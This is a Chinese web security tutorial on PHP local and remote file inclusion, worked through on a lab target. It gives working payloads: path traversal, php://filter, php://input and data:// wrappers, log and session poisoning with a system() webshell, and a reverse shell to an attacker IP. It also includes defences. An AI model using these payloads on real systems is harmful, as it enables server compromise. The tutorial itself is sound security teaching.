公司动态
Web安全实战:从文件包含漏洞到远程代码执行(RFI/LFI攻击链深度解析)
如果你是一名Web安全工程师或者正在学习渗透测试那么“文件包含”这个漏洞你一定不陌生。它不像SQL注入那样直接也不像XSS那样直观但它的危害性却常常被低估。很多人以为文件包含只是“读取本地文件”但实际上它是一扇通往服务器内部的后门轻则泄露源码、配置文件重则配合其他漏洞实现远程代码执行直接拿下服务器权限。今天这篇文章我们不谈宽泛的理论而是聚焦于一个更隐蔽、更危险的变种远程文件包含RFI。我们将通过一个实战靶场环境青岑网安Web文件包含-3彻底拆解RFI的攻击原理、利用条件、绕过手法以及最关键的——防御之道。你会发现仅仅禁用allow_url_include是远远不够的。读完本文你将能透彻理解本地文件包含LFI与远程文件包含RFI的本质区别与联系。亲手实践在受控靶场中从信息泄露到获取WebShell的完整攻击链。掌握多种针对过滤和限制的绕过技巧如协议利用、日志污染、Session文件包含。建立一套从代码层到配置层的立体防御思路而不仅仅是记住几个安全函数。1. 文件包含漏洞被低估的“内鬼”在深入远程文件包含之前我们必须先统一认知文件包含漏洞到底是什么它为什么危险简单来说文件包含是指程序在引入外部文件时未对用户输入进行严格过滤导致攻击者可以控制包含的文件路径。这主要发生在使用如PHP的include、require、include_once、require_once等函数时。它的危害远不止“读取文件”敏感信息泄露读取/etc/passwd、数据库配置文件、源码文件等。配合上传漏洞获取WebShell上传一个图片马然后通过文件包含执行其中的PHP代码。远程代码执行RCE在满足RFI条件时直接包含远程服务器上的恶意脚本。攻击面扩大作为跳板读取服务器上的其他敏感文件或进行内网探测。很多人容易混淆LFI和RFILFI (Local File Inclusion)只能包含服务器本地的文件。危害相对可控但结合其他漏洞如文件上传、日志写入可以升级为RCE。RFI (Remote File Inclusion)可以直接包含远程URL如http://evil.com/shell.txt上的文件并将其内容作为代码执行。这是最直接的RCE方式。一个核心判断RFI的利用条件比LFI苛刻得多但一旦成功危害是立竿见影的。而现代PHP环境的默认配置正在让RFI变得越来越难但这绝不意味着我们可以忽视它。攻击者总会找到那些配置不当或使用了危险函数的“薄弱环节”。2. 靶场环境搭建与核心概念为了进行安全的实战学习我们使用“青岑网安Web文件包含-3”这个靶场或类似的自建环境。请务必在虚拟机或隔离的测试环境中进行所有操作切勿对任何未授权的真实系统进行测试。2.1 环境准备操作系统 Kali Linux 或 Ubuntu用于攻击机或使用集成了Web服务和漏洞的靶机如DVWA、Web for Pentester。Web服务 Apache / Nginx。PHP版本 建议5.x 或 7.x某些老版本特性有助于理解漏洞演变。关键配置为了演示RFI我们需要在php.ini中开启两个选项仅在测试环境allow_url_fopen On allow_url_include On在生产环境中allow_url_include必须为Off。靶场代码示例模拟漏洞场景 假设存在一个脆弱的PHP文件vuln.php?php // vuln.php - 存在文件包含漏洞 $file $_GET[file]; // 未经过滤的用户输入 include($file . .php); // 动态包含文件并添加了.php后缀 ?另一个用于演示日志污染的文件index.php?php // index.php - 正常业务页面 echo Welcome to the vulnerable site!; ?2.2 核心原理深度解析为什么include一个远程URL会导致代码执行 这源于PHP的设计当allow_url_include开启时include、require等函数不仅接受本地文件路径也接受诸如http://、ftp://等URL包装器Wrapper。PHP会通过HTTP/FTP协议去获取该URL的内容然后将获取到的内容当作PHP代码来解析和执行。关键点被包含文件的内容会被执行而不是显示。所以如果http://evil.com/shell.txt的内容是?php phpinfo(); ?那么包含这个URL就等同于在目标服务器上执行了phpinfo()。3. 实战攻击链拆解从LFI到RCE我们假设靶场环境同时存在文件包含和文件上传点或者存在日志记录功能。这是非常经典的组合拳。3.1 第一阶段基础LFI与敏感信息探测首先测试漏洞是否存在。http://target/vuln.php?file../../../../etc/passwd如果成功返回了系统用户列表说明存在LFI漏洞。接下来我们可以尝试读取Web应用的敏感文件配置文件../../var/www/html/config.phpPHP自身信息 使用php://filter包装器读取源码这是LFI中极其重要的技巧http://target/vuln.php?filephp://filter/convert.base64-encode/resourcevuln.php这里利用php://filter对vuln.php本身进行Base64编码后读取可以绕过一些显示限制拿到源码后解码分析。3.2 第二阶段尝试直接RFI直接测试RFI是否可行。我们在攻击机上IP: 192.168.1.100创建一个内容为?php echo “RFI Success!”; ?的文本文件test.txt并用Python启动一个简单的HTTP服务# 在攻击机上 echo ?php echo RFI Success!; ? shell.txt python3 -m http.server 8080然后尝试包含它http://target/vuln.php?filehttp://192.168.1.100:8080/shell.txt如果页面显示了“RFI Success!”恭喜你也是不幸的RFI直接利用成功。这意味着服务器配置极其危险。但更常见的情况是失败因为靶场或生产环境通常禁用了allow_url_include。你会看到类似“URL file-access is disabled”的警告。3.3 第三阶段利用LFI向RFI升级——日志文件包含当直接RFI被禁用时攻击者不会放弃。一个经典的方法是“日志文件包含攻击”。原理Web服务器如Apache会将所有访问请求记录在日志文件中如/var/log/apache2/access.log。如果我们在User-Agent或请求路径中插入PHP代码这段代码就会被原样写入日志文件。然后我们利用LFI漏洞去包含这个日志文件服务器就会执行我们写入的代码。攻击步骤污染日志使用curl或Burp Suite发送一个特殊的请求将PHP代码注入到User-Agent头中。# 在攻击机上执行 curl -A ?php system(\$_GET[cmd]); ? http://target/这条命令访问了index.php但User-Agent被替换成了我们的WebShell代码。包含日志文件利用LFI漏洞包含Apache的访问日志。http://target/vuln.php?file../../../../var/log/apache2/access.log如果成功你会看到一长串日志内容其中包含我们注入的代码。执行命令现在日志文件已经被我们“污染”它变成了一个存储在我们标服务器上的“恶意PHP文件”。我们再次包含它并通过cmd参数传递系统命令。http://target/vuln.php?file../../../../var/log/apache2/access.logcmdid如果一切顺利页面将返回uid33(www-data) gid33(www-data) groups33(www-data)这样的命令执行结果。关键点这种方法成功的关键在于你知道日志文件的绝对路径需要探测。Web进程如www-data用户有权限读取该日志文件。日志文件中没有特殊字符被转义通常不会。3.4 第四阶段利用PHP内置包装器Wrapper绕过限制即使不能包含远程URLPHP内置的一些包装器也能帮我们“创造”执行代码的条件。除了上面用到的php://filter用于读取还有php://input和data://。1. 使用php://input执行POST代码php://input允许你读取原始的POST数据。如果allow_url_include是Off但allow_url_fopen是On更常见的配置且目标服务器没有禁用php://input则可以尝试。# 请求示例 (使用curl) curl -X POST http://target/vuln.php?filephp://input --data ?php phpinfo(); ?这个请求会将POST数据?php phpinfo(); ?作为文件内容传递给include函数从而被执行。2. 使用data://协议直接嵌入代码data://协议允许在URL中直接嵌入Base64编码的数据。http://target/vuln.php?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg其中PD9waHAgcGhwaW5mbygpOyA/Pg是?php phpinfo(); ?的Base64编码。这相当于在参数里直接携带了一个可执行的文件完全绕过了对远程URL的依赖。注意data://协议的使用通常也受到allow_url_include设置的影响但在某些特定配置或版本下可能存在利用空间。4. 完整攻击示例获取反向Shell理论讲完我们来一个完整的、贴近实战的示例通过LFI日志污染获取一个反向Shell。场景目标存在LFI漏洞 (vuln.php)且我们已知Apache日志路径。步骤探测与确认首先用LFI读取/etc/passwd确认漏洞。注入WebShell代码向日志中注入一个更强大的WebShell。curl -A ?php $sockfsockopen(192.168.1.100,4444);exec(/bin/sh -i 3 3 23);? http://target/这段代码会尝试连接到攻击机(192.168.1.100)的4444端口并派生一个交互式shell。在攻击机开启监听nc -lvnp 4444触发代码执行利用LFI包含被污染的日志文件触发反向连接。http://target/vuln.php?file../../../../var/log/apache2/access.log查看攻击机终端如果成功你会在nc监听窗口看到来自目标服务器的shell连接。至此你已经完成了从文件读取到完全控制服务器的整个攻击链。5. 常见问题、限制与绕过技巧在实际渗透中绝不会一帆风顺。你会遇到各种过滤和限制。5.1 路径遍历过滤开发者可能过滤../。双写绕过....//- 被过滤一次后变成../绝对路径 直接使用/etc/passwd编码绕过 URL编码../-%2e%2e%2f或..%2f 甚至双重编码%252e%252e%252f5.2 后缀限制像我们靶场代码那样自动添加.php后缀 (include($file . .php))。空字节截断PHP5.3../../../etc/passwd%00%00会在字符串处理时截断后面的.php。此方法在PHP高版本已失效。路径长度截断PHP5.3 OS限制 超长文件名可能导致系统截断。利用php://filter 包装器后不需要后缀。php://filter/convert.base64-encode/resourceconfig可以读取config.php。利用目录遍历 如果包含uploads/目录下的文件可以../../../uploads/shell.jpg 只要shell.jpg内含PHP代码且服务器配置错误如未正确处理MIME类型仍可能被解析。5.3 协议限制服务器可能禁用php://、data://等包装器。尝试其他包装器file://、zip://结合上传zip包、phar://PHP归档非常强大。聚焦于日志、Session、环境变量等“本地文件”包含 这是最可靠的绕过方式。5.4 Session文件包含这是另一个高级技巧。PHP的Session数据通常存储在服务器临时目录如/tmp/sess_[PHPSESSID]的一个文件里。如果攻击者能控制一部分Session数据例如某个表单字段会存入$_SESSION并且知道PHPSESSID就可以向Session文件写入PHP代码然后通过LFI包含它。设置Cookie:PHPSESSIDattacker向一个会保存数据到Session的页面提交数据username?php phpinfo();?猜测或确定Session文件路径/tmp/sess_attacker包含该文件vuln.php?file../../../tmp/sess_attacker6. 防御指南构建多层次防线防御文件包含漏洞必须从多个层面着手形成纵深防御。6.1 代码层治本之策白名单校验这是最有效的方法。不要使用用户输入直接拼接文件路径。应该使用一个固定的映射数组。// 错误示范 $page $_GET[page]; include($page . .php); // 正确示范 - 白名单 $allowed_pages [home, about, contact]; $page $_GET[page]; if (in_array($page, $allowed_pages)) { include($page . .php); } else { include(404.php); }避免动态包含如果业务必须动态包含请使用basename()函数去除路径或严格过滤输入。$file basename($_GET[file]); // 只能得到文件名去除了目录遍历 // 但仍需结合白名单因为basename(‘../../etc/passwd’) 返回 ‘passwd’使用安全的API考虑使用框架提供的安全视图加载方法。6.2 配置层重要加固关闭危险配置在php.ini中确保allow_url_fopen Off # 视业务需求但关闭更安全 allow_url_include Off # 必须关闭设置open_basedir将PHP可访问的文件限制在Web目录及其子目录下。open_basedir /var/www/html这能有效防止读取/etc/passwd等系统文件。限制包装器 在高安全要求环境中可以通过disable_functions或修改PHP源码来禁用php://、data://等危险包装器需谨慎可能影响正常功能。6.3 系统与运维层Web服务器权限最小化运行Web服务的用户如www-data应仅拥有对Web目录的必要读写权限无权读取系统关键文件。日志文件权限确保Web用户对日志文件只有追加写入权限没有读取权限。这可以彻底封堵日志包含攻击。但要注意这可能影响日志分析工具。定期更新与审计及时更新PHP、Web服务器及应用程序修复已知漏洞。定期进行代码安全审计。6.4 安全开发框架与习惯使用具有良好安全实践的现代PHP框架如Laravel, Symfony它们通常对文件包含、路径遍历有内置防护。在团队中推行安全编码规范将“禁止未过滤的动态文件包含”作为红线。7. 总结与后续学习方向文件包含漏洞尤其是其从LFI到RCE的升级路径生动地展示了“小漏洞大危害”的道理。它考验的不仅是开发者的安全编码意识更是运维人员的纵深防御配置能力。通过本次对“青岑网安Web文件包含-3”这类靶场的深度剖析你应该已经掌握了攻击视角如何利用LFI探测信息如何通过日志/Session污染将其升级为RCE以及如何绕过常见的过滤限制。防御视角为什么白名单是唯一可靠的方法以及如何从代码、配置、系统三层构建防御体系。后续你可以深入研究PHP包装器的其他妙用与滥用 如zip://、phar://在反序列化漏洞中的利用。文件包含与文件上传的“组合技” 如何精确上传一个能被包含执行的恶意文件如图片马。在现代化框架与应用中挖掘文件包含 虽然框架提供了防护但错误的使用方式或自定义组件仍可能引入风险。自动化工具中的利用 学习如何使用Burp Suite、Sqlmap其--file-read参数等工具自动化探测和利用文件包含漏洞。安全是一个攻防对抗不断升级的过程。理解攻击链的每一个环节是我们构建有效防御的最坚实基础。建议你将本文中的靶场环境搭建起来亲手复现每一个步骤这远比阅读理论印象更深刻。在确保合法授权的前提下不断练习才能将这些知识内化为真正的技能。